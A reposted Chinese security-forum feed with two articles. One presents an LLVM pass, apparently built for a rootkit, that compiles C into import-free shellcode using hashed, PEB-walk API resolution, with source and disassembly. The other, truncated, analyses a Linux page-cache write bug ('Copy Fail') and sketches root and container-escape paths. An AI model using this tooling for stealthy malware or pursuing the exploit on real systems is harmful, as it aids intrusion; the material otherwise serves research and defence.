在x64系统的时代shellcode的开发变得极富有技巧性，由于x64的调用约定的改变与微软引入的shadow space的技术出现导致masm32汇编在64上部分具有效率的语法糖彻底失效，由于shadow space机制手写x64汇编会变得有些恶心，在去年我开发了一款 分段式加载 的Rootkit,其中很多功能代码都是通过网络传送并且加载到内存运行的，这也让我的RDK开发变得十分繁琐，于是便有了这篇文章的项目。

在现代编译器的环境下我们想要在原生编译器环境下写出shellcode是一个具有技巧的事情，我们要在代码层面抗优化，从譬如 全局变量，数组赋值，数组，连续变量定义，连续变量赋值，swich-case，条件转移语句等等的代码结构上下功夫利用编译期不可知写法才能够有效规避一些具有全局特征的代码优化， 在这之后还需要对抗MSVC的链接优化，以及一些安全检查 譬如__chkstk等等。

本文基于 LLVM 实现了一套面向 Shellcode 的自包含编译框架，通过全局变量下沉、上下文透传、调用链重写消除全局与外部依赖，并结合编译期 API 哈希与Runtime动态符号解析，实现无导入表、无外部符号的纯位置无关代码生成，并且生成的Shellcode R3 R0都可以用。

在一开始做这个下沉的时候我还踩了一些坑，当时我直接把调用链上每一个函数都下沉了一份到栈上，这其实是错误的因为根据全局变量的语义如果每个函数都持有一份在自己的栈中那么这个变量将会退化为局部变量，在语义上就发生了根本性的变化所以在设计这个结构的时候我们要引入上下文透传机制。

在常规 C 语言程序中，全局变量与静态变量由操作系统加载器统一分配虚拟地址，并在进程启动时完成初始化，其访问依赖固定的全局符号地址与可执行文件的数据段布局。但在纯 Shellcode 执行环境下，程序不具备独立的进程地址空间管理能力、无加载器支持、无数据段权限初始化机制，直接保留全局变量会导致以下问题：全局地址硬编码导致无法位置无关执行、多份 Shellcode 实例间数据冲突、全局符号引入外部依赖破坏自包含性。

因此，需要通过全局变量下沉（Global Variable Lowering）技术，将分散的全局状态统一收拢为结构化上下文，并在调用链中透明传递。并且由于程序结构的特性只有一个Entry，所以我们在Entry的基础栈帧中插入下沉的GV变成CTX的形式在调用链中传播CTX指针这样就可以做到下沉且保持语义不变。

透我归纳为以下8步：

• 收集全局变量：遍历 Shellcode 入口函数及其完整调用链，筛选出被引用、非线程局部、非编译器内置、具备初始化器的有效全局变量，排除 LLVM 元数据等无关符号，形成待下沉全局变量列表。

• 构造上下文结构体：基于筛选后的全局变量，自动生成 ShellcodeCtx 结构体，结构体字段类型、顺序与待下沉全局变量严格对应，建立每个全局变量与结构体字段的一一映射关系，记录字段索引。

• 实例化上下文并初始化：在 Shellcode 入口函数的入口块，插入栈上分配指令创建 ShellcodeCtx 实例；采用递归常量展开与分块内联填充策略，逐字段将原全局变量的初始化值写入栈上结构体，避免依赖外部库函数。

• 重写非入口函数签名：为调用链中所有非入口函数追加 ShellcodeCtx 指针作为最后一个参数，生成新的函数签名及函数实例，保留原函数逻辑，仅新增上下文参数接收逻辑。

• 重写调用链中的调用点：遍历所有函数体内的调用指令，将原函数调用替换为对新函数的调用，在调用参数末尾追加当前函数的上下文指针（入口函数传栈上结构体地址，非入口函数传接收的上下文参数），实现上下文透传。

• 替换全局变量访问指令：遍历所有函数体，将对原全局变量的直接访问、经常量表达式封装的间接访问，全部替换为对 ShellcodeCtx 结构体的 GEP 字段索引访问，确保全局变量语义等价。

• 清理冗余符号：删除调用链中无引用的原函数实例、无引用的待下沉全局变量，避免冗余符号占用空间。

• 函数属性加固：为调用链中所有函数添加 no-builtins、no-stack-arg-probe 等属性，阻止编译器生成外部依赖代码（如 memset、__chkstk），确保上下文透传过程无额外依赖。

下图展示了透传前后的对比，以及透传之后的栈帧结构：

ShellcodeCtx 是一个由 Pass 自动生成的 packed 结构体，其字段顺序与 收集到的全局变量顺序严格一致。每个字段的类型直接取自对应全局变量的 getValueType()（即去掉指针层的底层类型）。

在完成全局变量收集与 ShellcodeCtx 类型构造之后，Pass 需要对调用链中每一个函数执行两类不同的处理：Entry 函数保持原有签名不变（loader 侧仍可通过 (void*)entry 取地址），在其入口块插入 alloca 实例化 ctx 并完成内联初始化；非 entry 函数则需要改写签名，在参数列表末尾追加 ShellcodeCtx* 参数，实现指针向下透传。

Entry 函数之所以保持签名不变，是因为 loader 侧通常以 (void*)entry 的形式提取 Shellcode 起始地址或计算代码长度，改变签名会破坏这一用法。

下面给出部分透传代码（addCtxParameter）

    Function* addCtxParameter(Function* F, StructType* ctxTy)
    {
        FunctionType* oldFT = F->getFunctionType();
        std::vector<Type*> newParams(oldFT->param_begin(), oldFT->param_end());
        PointerType* ctxPtrTy = PointerType::getUnqual(ctxTy);
        newParams.push_back(ctxPtrTy);
        FunctionType* newFT = FunctionType::get(
            oldFT->getReturnType(), newParams, oldFT->isVarArg());
        Function* NF = Function::Create(
            newFT, F->getLinkage(), F->getAddressSpace(),
            F->getName() + ".ctx", F->getParent());
        NF->copyAttributesFrom(F);
        // 建立旧参数 -> 新参数映射
        ValueToValueMapTy VMap;
        auto NewArgIt = NF->arg_begin();
        for (auto& OldArg : F->args())
        {
            NewArgIt->setName(OldArg.getName());
            VMap[&OldArg] = &*NewArgIt;
            ++NewArgIt;
        }
        // 最后一个参数命名为 ctx
        NewArgIt->setName("ctx");
        // 克隆函数体
        SmallVector<ReturnInst*, 8> Returns;
        CloneFunctionInto(NF, F, VMap,
            /*ModuleLevelChanges=*/false, Returns);
        errs() << "[AddCtxParam] " << F->getName()
               << " -> " << NF->getName() << "\n";
        return NF;
    }

签名改写的具体实现是在 addCtxParameter() 中完成的：构造新的 FunctionType（在原参数列表末尾追加 ShellcodeCtx*），用 Function::Create() 创建新函数，通过 ValueToValueMapTy 建立旧参数到新参数的映射，最后调用 CloneFunctionInto() 将原函数体完整克隆到新函数中。旧函数在所有调用点重写完成并确认无引用后被 eraseFromParent() 删除。

调用点重写步骤如下: 遍历 fnRemap 映射，找到所有 CallInst 中调用了旧函数的位置，在参数列表末尾追加当前函数的 fnToCtxPtr（entry 传 alloca 地址，非 entry 传接收到的 ctx 参数），用 IRBuilder 构造新的 CallInst 并替换旧指令。

全局变量的访问替换在重写调用点之后进行，然后每个函数的入口块前置缓存 GEP 指令（避免重复生成），将所有对 @g_xx 的直接引用和 ConstantExpr 包裹的间接引用全部替换为 GEP ctxPtr, 0, fieldIdx。

Pass 的入口工作是定位所有 Shellcode 入口函数，随后以此为根节点递归展开完整的调用图。这两步共同决定了后续所有变换的作用域——只有被纳入调用链的函数才会被改写，链外的函数保持不变。

入口函数定位通过扫描 llvm.global.annotations 元数据实现。在 C 源码侧，开发者通过 __attribute__((annotate("shellcode"))) 标注入口函数，Clang 会将该注解以 ConstantStruct 数组的形式写入 IR 中的 llvm.global.annotations 全局变量，Pass 遍历该数组并比对注解字符串即可精确定位入口。

递归收集以 DFS 方式实现：对每个函数遍历其所有基本块内的全部 CallInst，取 getCalledFunction()，若被调函数有函数体（!isDeclaration()）且未曾访问，则递归进入。visited 集合（即最终的 chainFuncs）防止环状调用导致无限递归。值得注意的是我们在实现调用链分析的时候需要检测函数指针逃逸。

函数指针逃逸检测是非常重要的安全机制：由于 Pass 要改写所有非 entry 函数的签名，如果某函数的地址在改写前已被存入变量（store）或作为参数传给外部回调（call @qsort），那么运行时调用时签名不匹配会直接导致崩溃。

检测逻辑遍历每个链内函数的所有 Use，凡是出现在 CallInst 的 callee 位置之外的用法，且不属于 LLVM 元数据（llvm.global.annotations / llvm.used）的，均视为逃逸并终止编译。

检测到逃逸后，Pass 会通过 report_fatal_error() 中止整个编译，并打印逃逸点的具体指令与所在函数。

修复方法：将间接调用改写为直接的 switch/if 分派，这里也是Shellcode框架的写法要求。

字节数组分块聚合与内联初始化优化

这里的优化也很重要因为，在把全局变量的初始化数据写入栈上 ShellcodeCtx 时，朴素做法是对每个字节生成一条 store i8——对于 1024 字节的查找表这将产生 1024 条指令，代码体积急剧膨胀，且 LLVM 后端极有可能将密集的 store i8 序列重新合成为 call memset 或 call memcpy，引入外部符号依赖，彻底破坏 Shellcode 的自包含性。

且绝对禁止使用 llvm.memset intrinsic。LLVM 后端对超过约 128 字节的 llvm.memset 会展开为 call memset，引入 libc 依赖。即便是 inline 的 intrinsic 形式也存在此风险，因此必须完全绕开。所以我们给出如下的策略。

分块聚合的核心逻辑实现：通过 ConstantDataArray::getRawDataValues() 获取原始字节流，按 8 字节边界切分，以小端字节序拼装为 uint64_t 立即数，通过 GEP i8* basePtr, offset 定位目标地址后 bitcast 为 i64*，生成 MaybeAlign(1) 的非对齐 store。这保证了字节精确语义的同时将指令数压缩到 ⌈n/8⌉。

零填充的大数组或大尺寸变量实现:通过 BasicBlock::splitBasicBlock() 手动构造 CFG：将当前插入点之后的指令切分到新块，在中间插入 loop_bb（含 PHI + condBr），后端面对规整的计数器循环有机会优化为 REP STOSQ，最终生成的机器码体积为 O(1)，与零填充大小无关。

在这里我们要解决的问题是Shellcode 不具备 PE 导入表，无法通过常规链接器符号机制调用 Windows API。Pass 的最后阶段将调用链中所有对外部函数声明的 CallInst 替换为基于哈希的动态解析模式，消除全部外部符号引用。

整个机制分为两个完全解耦的部分：编译期由 Pass 完成字符串哈希化与 IR 重写；运行时由用户提供的 resolve_api 函数完成 PEB 遍历与符号查找。两者通过一个 64 位哈希值（djb2）对接，Shellcode 中不存在任何 API 名称字符串。这样有个好处就是不论用户将该编译器用于什么环境只要API能通过譬如PEB 或者ssdt表的形式获得就完全能够生成对应环境下的Shellcode, 内核可以通过ssdt,R3通过PEB walker。

IR 重写的具体步骤：扫描函数体内所有调用外部声明函数的 CallInst（跳过 llvm.* intrinsic 与 resolve_api 自身），在每个 call site 前插入 call i64 @resolve_api(i64 hash_imm)，将返回的整数通过 IRBuilder::CreateIntToPtr() 转换为原函数指针类型，再构造新的间接 CallInst 替换原有直接调用并删除旧指令。

resolve_api 由用户实现，Pass 仅负责编译期哈希化与 call site 重写，不绑定特定的运行时解析逻辑。用户可根据目标环境选择 PEB walk、自定义 TEB 遍历或其他符号解析方式，只要函数签名为 i64 resolve_api(i64) 即可。

测试代码：

// test_payload_full.c
// CShellCodePass 综合测试用例
//
// 覆盖场景:
//   [GV-1]  字符串字面量(只读, .rdata)
//   [GV-2]  可写全局标量(int)
//   [GV-3]  可写全局数组
//   [GV-4]  零初始化全局(.bss)
//   [GV-5]  结构体全局
//   [GV-6]  函数局部 static 变量(也是全局)
//   [CHAIN] 多层调用链 entry -> A -> B -> C
//   [API]   多个外部 API,部分共享同一个名字
//   [SHARE] 多个 helper 共享同一个全局(测 ctx 透传一致性)
//   [BIG]   大字节数组(测 8 字节 chunk 化优化)
//
// 使用 SHELLCODE_FUNC 标注 entry,helpers 不标注但会被调用链拉进来
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <stddef.h>
#define SHELLCODE_FUNC __attribute__((annotate("shellcode")))
// ============================================================
//  resolve_api 部分(和你原版一致,略写)
// ============================================================
staticuint64_t gvr_djb2(constchar *s) {
uint64_t h = 5381;
    while (*s) h = ((h << 5) + h) + (unsignedchar)(*s++);
    return h;
}
staticuint64_t scan_module(BYTE *base, uint64_t target);
staticuint64_t resolve_forwarder(constchar *fwd);
uint64_t resolve_api(uint64_t target) {
    PPEB peb = (PPEB)__readgsqword(0x60);
    if (!peb || !peb->Ldr) return 0;
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    for (PLIST_ENTRY p = head->Flink; p != head; p = p->Flink) {
        LDR_DATA_TABLE_ENTRY *e =
            CONTAINING_RECORD(p, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        BYTE *base = (BYTE *)e->DllBase;
        if (!base) continue;
uint64_t addr = scan_module(base, target);
        if (addr) return addr;
    }
    return 0;
}
staticuint64_t scan_module(BYTE *base, uint64_t target) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return 0;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) return 0;
    IMAGE_DATA_DIRECTORY *dir =
        &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (!dir->VirtualAddress || !dir->Size) return 0;
    PIMAGE_EXPORT_DIRECTORY exp =
        (PIMAGE_EXPORT_DIRECTORY)(base + dir->VirtualAddress);
    DWORD *names = (DWORD *)(base + exp->AddressOfNames);
    DWORD *funcs = (DWORD *)(base + exp->AddressOfFunctions);
    WORD  *ords  = (WORD  *)(base + exp->AddressOfNameOrdinals);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
constchar *n = (constchar *)(base + names[i]);
        if (gvr_djb2(n) != target) continue;
        WORD ord = ords[i];
        DWORD rva = funcs[ord];
        BYTE *addr = base + rva;
        if (rva >= dir->VirtualAddress &&
            rva <  dir->VirtualAddress + dir->Size) {
            return resolve_forwarder((constchar *)addr);
        }
        return (uint64_t)(uintptr_t)addr;
    }
    return 0;
}
staticuint64_t resolve_forwarder(constchar *fwd) {
constchar *dot = fwd;
    while (*dot && *dot != '.') dot++;
    if (*dot != '.' || !dot[1]) return 0;
    return resolve_api(gvr_djb2(dot + 1));
}
// ============================================================
//  各种全局变量(测试 GV-1 ~ GV-5)
// ============================================================
// [GV-1] 字符串字面量 —— 实际是 private constant,Clang 自动产生的
// 这些不会显式声明为全局,但 IR 里有 @.str / @.str.1 等
// [GV-2] 可写全局标量
int   g_counter = 0;
DWORD g_flags   = 0x12345678;
// [GV-3] 可写全局数组
char g_msg_buf[64] = "default message";
// [GV-4] 零初始化的大 buffer(测试 ChunkedInit + 零字段)
unsignedchar g_workspace[256] = { 0 };
// [GV-5] 结构体全局
typedef struct {
    DWORD magic;
    DWORD size;
char  tag[16];
} Header;
Header g_header = { 0xDEADBEEF, 256, "shellcode-v1" };
// [BIG] 大块字节数据(测 chunk 化压缩效果)
// 这种数据典型用法:嵌入式密钥、shellcode 模板、协议常量
constunsignedchar g_key[64] = {
    0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
    0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
    0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
};
// ============================================================
//  调用链 helpers(不加 SHELLCODE_FUNC)
//  这些会被 collectCallChain 拉进来,加 ctx 参数
// ============================================================
// [CHAIN-C] 最深层:操作 g_workspace 和 g_counter
//   - 测试 [SHARE]: 同一全局被多个函数引用
//   - 测试 [GV-2]/[GV-4]
staticvoid deep_helper(int idx, char value) {
    if (idx >= 0 && idx < (int)sizeof(g_workspace)) {
        g_workspace[idx] = (unsignedchar)value;
        g_counter++;                 // 共享变量
    }
}
// [CHAIN-B] 中间层:调用 deep_helper,操作 g_header
staticvoid mid_helper(constchar *src, int n) {
    g_header.size = (DWORD)n;
    for (int i = 0; i < n && i < 16; i++) {
        g_header.tag[i] = src[i];    // 写结构体字段
    }
    for (int i = 0; i < n; i++) {
        deep_helper(i, src[i]);      // 链式调用
    }
}
// [CHAIN-A] 顶层 helper:调用 mid_helper,直接也调用外部 API
//   - 测试 ctx 透传 entry -> A -> B -> C
staticvoid top_helper(void) {
    g_flags |= 0x80000000;           // 修改另一个全局
    // 这里调用了外部 API,Pass 应该把它替换成 resolve_api
    Sleep(10);
    // [GV-1] 字符串字面量
    mid_helper("ctx_test_payload", 16);
    // [GV-6] 函数局部 static
staticint call_count = 0;
    call_count++;
    g_counter += call_count;
}
// ============================================================
//  入口函数
// ============================================================
SHELLCODE_FUNC
void my_payload(void) {
    // [GV-1] 字符串字面量
    LoadLibraryA("user32.dll");
    // 直接读全局
    g_counter = 1;
    g_flags = 0xCAFEBABE;
    // 调用链
    top_helper();
    // 用到 g_msg_buf 和 g_key
    for (int i = 0; i < 16; i++) {
        g_msg_buf[i] = (char)('A' + (g_key[i] & 0x0F));
    }
    g_msg_buf[16] = '\0';
    // 多次调用同一 API,测 hash 缓存(Pass 不缓存,每次都 resolve,能跑就行)
    MessageBoxA(NULL, g_msg_buf, "GVRuntime", MB_OK);
    MessageBoxA(NULL, "second box", "GVRuntime", MB_OK);
    // 用到 g_header(结构体)和 g_workspace[0]
    if (g_header.magic == 0xDEADBEEF && g_workspace[0] != 0) {
        MessageBoxA(NULL, "header & workspace OK", "GVRuntime", MB_OK);
    }
}
// ============================================================
//  main 不加 SHELLCODE_FUNC,普通编译
// ============================================================
int main(void) {
    my_payload();
    return 0;
}

编译过程的GV提取以及优化

运行截图：

编译后的函数

my_payload

我们在这里关注核心的callAPI,看看他会变成什么样

是正常的call跟进去：

.text:0000000000401560 resolve_api     proc near               ; CODE XREF: my_payload+27D↓p
.text:0000000000401560                                         ; my_payload+30D↓p ...
.text:0000000000401560
.text:0000000000401560 var_50          = qword ptr -50h
.text:0000000000401560 var_48          = qword ptr -48h
.text:0000000000401560 var_40          = qword ptr -40h
.text:0000000000401560 var_38          = qword ptr -38h
.text:0000000000401560 var_30          = qword ptr -30h
.text:0000000000401560 var_28          = qword ptr -28h
.text:0000000000401560 var_20          = qword ptr -20h
.text:0000000000401560 var_18          = qword ptr -18h
.text:0000000000401560 var_10          = qword ptr -10h
.text:0000000000401560 var_4           = dword ptr -4
.text:0000000000401560
.text:0000000000401560                 sub     rsp, 78h
.text:0000000000401564                 mov     [rsp+78h+var_20], rcx
.text:0000000000401569                 mov     [rsp+78h+var_4], 60h ; '`'
.text:0000000000401571                 mov     eax, [rsp+78h+var_4]
.text:0000000000401575                 mov     rax, gs:[rax]
.text:0000000000401579                 mov     [rsp+78h+var_10], rax
.text:000000000040157E                 mov     rax, [rsp+78h+var_10]
.text:0000000000401583                 mov     [rsp+78h+var_28], rax
.text:0000000000401588                 cmp     [rsp+78h+var_28], 0
.text:000000000040158E                 jz      loc_4015A4
.text:0000000000401594                 mov     rax, [rsp+78h+var_28]
.text:0000000000401599                 cmp     qword ptr [rax+18h], 0
.text:000000000040159E                 jnz     loc_4015B2
.text:00000000004015A4
.text:00000000004015A4 loc_4015A4:                             ; CODE XREF: resolve_api+2E↑j
.text:00000000004015A4                 mov     [rsp+78h+var_18], 0
.text:00000000004015AD                 jmp     loc_401668
.text:00000000004015B2 ; ---------------------------------------------------------------------------
.text:00000000004015B2
.text:00000000004015B2 loc_4015B2:                             ; CODE XREF: resolve_api+3E↑j
.text:00000000004015B2                 mov     rax, [rsp+78h+var_28]
.text:00000000004015B7                 mov     rax, [rax+18h]
.text:00000000004015BB                 add     rax, 20h ; ' '
.text:00000000004015BF                 mov     [rsp+78h+var_30], rax
.text:00000000004015C4                 mov     rax, [rsp+78h+var_30]
.text:00000000004015C9                 mov     rax, [rax]
.text:00000000004015CC                 mov     [rsp+78h+var_38], rax
.text:00000000004015D1
.text:00000000004015D1 loc_4015D1:                             ; CODE XREF: resolve_api+FA↓j
.text:00000000004015D1                 mov     rax, [rsp+78h+var_38]
.text:00000000004015D6                 cmp     rax, [rsp+78h+var_30]
.text:00000000004015DB                 jz      loc_40165F
.text:00000000004015E1                 mov     rax, [rsp+78h+var_38]
.text:00000000004015E6                 xor     ecx, ecx
.text:00000000004015E8                 mov     rdx, rcx
.text:00000000004015EB                 add     rdx, 10h
.text:00000000004015EF                 sub     rcx, rdx
.text:00000000004015F2                 add     rax, rcx
.text:00000000004015F5                 mov     [rsp+78h+var_40], rax
.text:00000000004015FA                 mov     rax, [rsp+78h+var_40]
.text:00000000004015FF                 mov     rax, [rax+30h]
.text:0000000000401603                 mov     [rsp+78h+var_48], rax
.text:0000000000401608                 cmp     [rsp+78h+var_48], 0
.text:000000000040160E                 jnz     loc_401619
.text:0000000000401614                 jmp     loc_40164D
.text:0000000000401619 ; ---------------------------------------------------------------------------
.text:0000000000401619
.text:0000000000401619 loc_401619:                             ; CODE XREF: resolve_api+AE↑j
.text:0000000000401619                 mov     rcx, [rsp+78h+var_48]
.text:000000000040161E                 mov     rdx, [rsp+78h+var_20]
.text:0000000000401623                 call    scan_module
.text:0000000000401628                 mov     [rsp+78h+var_50], rax
.text:000000000040162D                 cmp     [rsp+78h+var_50], 0
.text:0000000000401633                 jz      loc_401648
.text:0000000000401639                 mov     rax, [rsp+78h+var_50]
.text:000000000040163E                 mov     [rsp+78h+var_18], rax
.text:0000000000401643                 jmp     loc_401668
.text:0000000000401648 ; ---------------------------------------------------------------------------
.text:0000000000401648
.text:0000000000401648 loc_401648:                             ; CODE XREF: resolve_api+D3↑j
.text:0000000000401648                 jmp     $+5
.text:000000000040164D ; ---------------------------------------------------------------------------
.text:000000000040164D
.text:000000000040164D loc_40164D:                             ; CODE XREF: resolve_api+B4↑j
.text:000000000040164D                                         ; resolve_api:loc_401648↑j
.text:000000000040164D                 mov     rax, [rsp+78h+var_38]
.text:0000000000401652                 mov     rax, [rax]
.text:0000000000401655                 mov     [rsp+78h+var_38], rax
.text:000000000040165A                 jmp     loc_4015D1
.text:000000000040165F ; ---------------------------------------------------------------------------
.text:000000000040165F
.text:000000000040165F loc_40165F:                             ; CODE XREF: resolve_api+7B↑j
.text:000000000040165F                 mov     [rsp+78h+var_18], 0
.text:0000000000401668
.text:0000000000401668 loc_401668:                             ; CODE XREF: resolve_api+4D↑j
.text:0000000000401668                                         ; resolve_api+E3↑j
.text:0000000000401668                 mov     rax, [rsp+78h+var_18]
.text:000000000040166D                 add     rsp, 78h
.text:0000000000401671                 retn
.text:0000000000401671 resolve_api     endp

其他的都是如此都已经完全自包含了，里面调用的scan_model由于论坛的最大字符上限我用图片粘贴出来。

经过透传后的hash函数：

forward：

可以看到在全部调用中没有出现任何的影响自包含性的代码出现，所以可以直接抠出来当成shellcode使用。

本文所提到的技术不能用于非法用途，请各位读者自重，如果发生任何违法犯罪事件与本作者无关。

*本文为看雪论坛精华文章，由 TeddyBe4r原创，转载请注明来自看雪社区

阅读原文

跳转微信打开

安卓adbd零点击漏洞PoC发布，可远程获取设备权限

跳转微信打开

看雪论坛作者ID：0xlane

从 Crypto 子系统的一个优化 commit，到 9 年后的任意文件页缓存覆写

2026 年 4 月底，安全研究员Taeyang Lee公开披露了一个编号为CVE-2026-31431的 Linux 内核漏洞，并为其取了一个颇具讽刺意味的名字——Copy Fail。

这个名字精确地概括了漏洞的本质：2017 年，一位内核开发者为了修复 AF_ALG 加密接口中"AAD 数据没有从 src 复制到 dst"的 bug，引入了一个 in-place 优化。这个优化本身完全合理，但它无意中打破了内核 crypto 子系统中另一个模块 (authencesn) 长期以来的一个隐含假设——"目标 buffer 是连续的内核内存，向其中写几个字节不会造成任何副作用"。

当这两个独立子系统在splice()的帮助下与Page Cache交汇时，一个无特权的本地用户可以向系统中任意可读文件的页面缓存写入 4 字节可控数据。

这不是通常意义上的内存越界写或 UAF。它的危害更加隐蔽和深远：

• 本地提权

  多次调用覆盖/usr/bin/su的 ELF 头部 → root shell

• 零特权跨容器攻击

  同一宿主机上不同 namespace 的容器共享镜像层的 page cache → 一个容器可以破坏另一个容器的二进制文件

• 绕过只读挂载

  文件只需O_RDONLY打开即可触发页面缓存写入 → readOnly volume 形同虚设

• 默认安全配置全面失守

  Docker/Kubernetes 的默认 seccomp profile 和 SELinux targeted 策略均不阻止漏洞利用

漏洞影响 2017 年至 2026 年之间的所有主流 Linux 发行版内核（CVSS 7.8 High），持续潜伏了近 9 年。

时间线：

本文将从漏洞触发的前置知识开始，逐步深入根因分析、PoC 原理与内核级动态验证，随后系统性地探索宿主机提权和容器环境下的各类攻击路径及其可行性边界，最后给出防御方案和基于O_DIRECT+fanotify的页缓存完整性检测方案。

理解 Copy Fail 需要几个前置概念。它们之间存在层层依赖关系：

Scatterlist (SGL)    AEAD Crypto            Page Cache
     |                |       |                |
scatterwalk          AAD  authencesn        splice()
     |                |       |                |
     +--------+-------+       |                |
              |               |                |
          AF_ALG -------------+                |
              |                                |
          algif_aead --------------------------+

下面逐一展开。

2.1 Page Cache：Linux 的全局文件缓存

当进程通过read()读取/usr/bin/cat时，内核不会每次都去磁盘拿数据。它会先检查一块叫做Page Cache的内存区域——如果文件的对应页面已经缓存在内存中，就直接返回缓存数据。

Page Cache 的几个关键特性与本漏洞直接相关：

全局共享。Page Cache 以(inode, page_offset)为 key 索引，不属于任何特定进程。同一台机器上的所有进程，只要访问的是同一个 inode，就会命中同一份 page cache。进程 A 通过read()将某个文件加载到 page cache 后，进程 B 读取同一文件时直接命中缓存，无需再次访问磁盘。

回写机制。对于通过正常write()路径产生的修改，内核会将对应的 page 标记为 dirty，稍后由回写线程（pdflush / writeback）异步刷到磁盘。但如果某种内核路径绕过了 VFS 层直接修改了 page cache 页面，dirty 标记不会被设置——修改只存在于内存中，重启或drop_caches后丢失。

即时可见。一旦 page cache 中的某个页面被修改（无论通过何种路径），所有后续的read()调用都会立即看到修改后的内容。这包括同一台机器上的其他进程，也包括容器环境下通过 overlayfs 共享同一底层 inode 的进程（详见 Section 6.1）。

2.2 Scatterlist：分散-聚集列表

在内核中，一段逻辑连续的数据（比如 10KB 的加密载荷）在物理内存中通常分布在多个不连续的 4KB 页面上。为了描述"这段数据由哪些页面的哪些偏移组成"，内核使用Scatterlist（SGL，分散-聚集列表）。

每个struct scatterlistentry 描述一段连续的物理内存区域：

struct scatterlist {
unsignedlong   page_link;  // 指向 page 结构（或 CHAIN 到下一个 SGL 数组）
unsignedint    offset;     // 页面内的起始偏移
unsignedint    length;     // 数据长度
};

当一个 SGL 数组不够用时，可以通过SG_CHAIN机制链接多个数组：最后一个 entry 的page_link不再指向数据页面，而是指向下一个 SGL 数组的起始地址。遍历 SGL 时，scatterwalk迭代器负责透明地处理这种链式结构。

这个设计本身没有问题。但当 SGL 中的某些 entry 指向的不是普通的内核分配内存，而是page cache 中的页面时，对 SGL 的写操作就等于直接修改了文件的缓存内容——这正是 Copy Fail 的核心利用点。

2.3 splice：零拷贝的代价

splice()是 Linux 提供的一种高性能数据传输系统调用。它的核心思想是避免数据在内核空间和用户空间之间来回复制——通过直接在内核管道 buffer 之间移动页面引用。

普通的read()+write()流程需要将文件数据拷贝到用户空间 buffer，再从用户空间 buffer 拷贝到目标。而splice()直接把文件的 page cache 页面引用传递给管道的另一端，全程不发生数据拷贝。

在 AF_ALG 加密接口中，splice()被用来将文件数据"喂"给加密算法。此时文件的page cache pages 被直接放入 TX SGL——这些 SGL entry 中的page_link直接指向全局共享的 page cache 页面。这是一个关键的设计决策：如果后续有任何代码路径向这个 SGL 写入数据，就相当于直接修改了文件的 page cache。

2.4 AF_ALG：用户空间加密接口

Linux 内核提供了一套用户空间可以直接使用的加密 API，叫做AF_ALG（Address Family: Algorithm）。它的接口设计为 socket 风格：

import socket, os
AF_ALG = 38
SOL_ALG = 279
# 1. 创建 AF_ALG socket，指定使用的加密算法
alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
# 绑定算法名称，例如 AEAD 类型的 gcm(aes)
alg_sock.bind(("aead", "gcm(aes)"))
alg_sock.setsockopt(SOL_ALG, 1, key_bytes)    # ALG_SET_KEY: 设置密钥
alg_sock.setsockopt(SOL_ALG, 4, None, 16)     # ALG_SET_AEAD_AUTHSIZE: 设置 auth tag 大小
# 2. accept 获得一个操作用的 socket
op_sock = alg_sock.accept()[0]
# 3. 通过 sendmsg 发送待加密/解密的数据
#    cmsg 中通过控制消息指定操作类型(加密/解密)、IV、AAD 长度等参数
op_sock.sendmsg([plaintext_data], control_messages)
# 4. recv 获取加密/解密结果（内核在此时执行实际的加解密操作）
result = op_sock.recv(output_buffer_size)

AF_ALG 还支持通过splice()把文件内容直接"喂"给加密算法，避免数据在内核空间和用户空间之间来回复制。这一特性是 Copy Fail 利用链的关键：splice 进入的文件数据在内核中以 page cache page 引用的形式存入 TX SGL，而不是数据拷贝。

在内核中，algif_aead.c负责处理 AEAD 类型的加密请求。它管理 TX SGL（用户发送的数据）和 RX SGL（用户接收 buffer），并最终调用底层加密算法（如authencesn）执行实际的加解密操作。

2.5 AEAD 认证加密与 authencesn 的 scratch write

AEAD（Authenticated Encryption with Associated Data）是一类同时提供保密性和完整性保证的加密方案。它处理的数据格式为：

输入:  AAD (Associated Data) || Ciphertext || Auth Tag
输出:  AAD || Plaintext

其中 AAD 是明文关联数据（不加密但参与认证），Ciphertext 是密文，Auth Tag 是认证标签。

authencesn是 Linux 内核中的一个 AEAD 算法实现，全称 "authenc with Extended Sequence Number"，为 IPsec 的 ESN（扩展序列号）协议设计。

AAD 的含义

在 AEAD 加密中，AAD（Associated Data）是"需要认证但不需要加密"的附加数据。比如在 TLS 中，AAD 是记录头（内容类型、协议版本、数据长度）；在 IPsec 中，AAD 包含安全参数索引和序列号。不同场景下 AAD 的具体内容不同，但 AEAD 算法只需要知道"前assoclen字节是 AAD"即可。

authencesn 为什么要向 dst buffer 写数据

ESN 协议使用 64 位序列号（防止回绕攻击），但网络传输中只携带低 32 位，高 32 位由通信双方本地维护。authencesn 需要在 HMAC 计算时纳入完整的 64 位序列号。它的做法是：

• 将序列号的高 32 位放在 AAD[4:8] 中

• 在计算 HMAC 之前，把 AAD[4:8]临时写入dst buffer 中 auth tag 原本所在的位置（这样 HMAC 计算就能覆盖完整序列号）

• HMAC 完成后再还原

这个"临时写入"就是所谓的ESN scratch write：

// crypto/authencesn.c - crypto_authenc_esn_decrypt()
// 从 AAD 中读取前 8 字节
scatterwalk_map_and_copy(tmp, req->dst, 0, 8, 0);
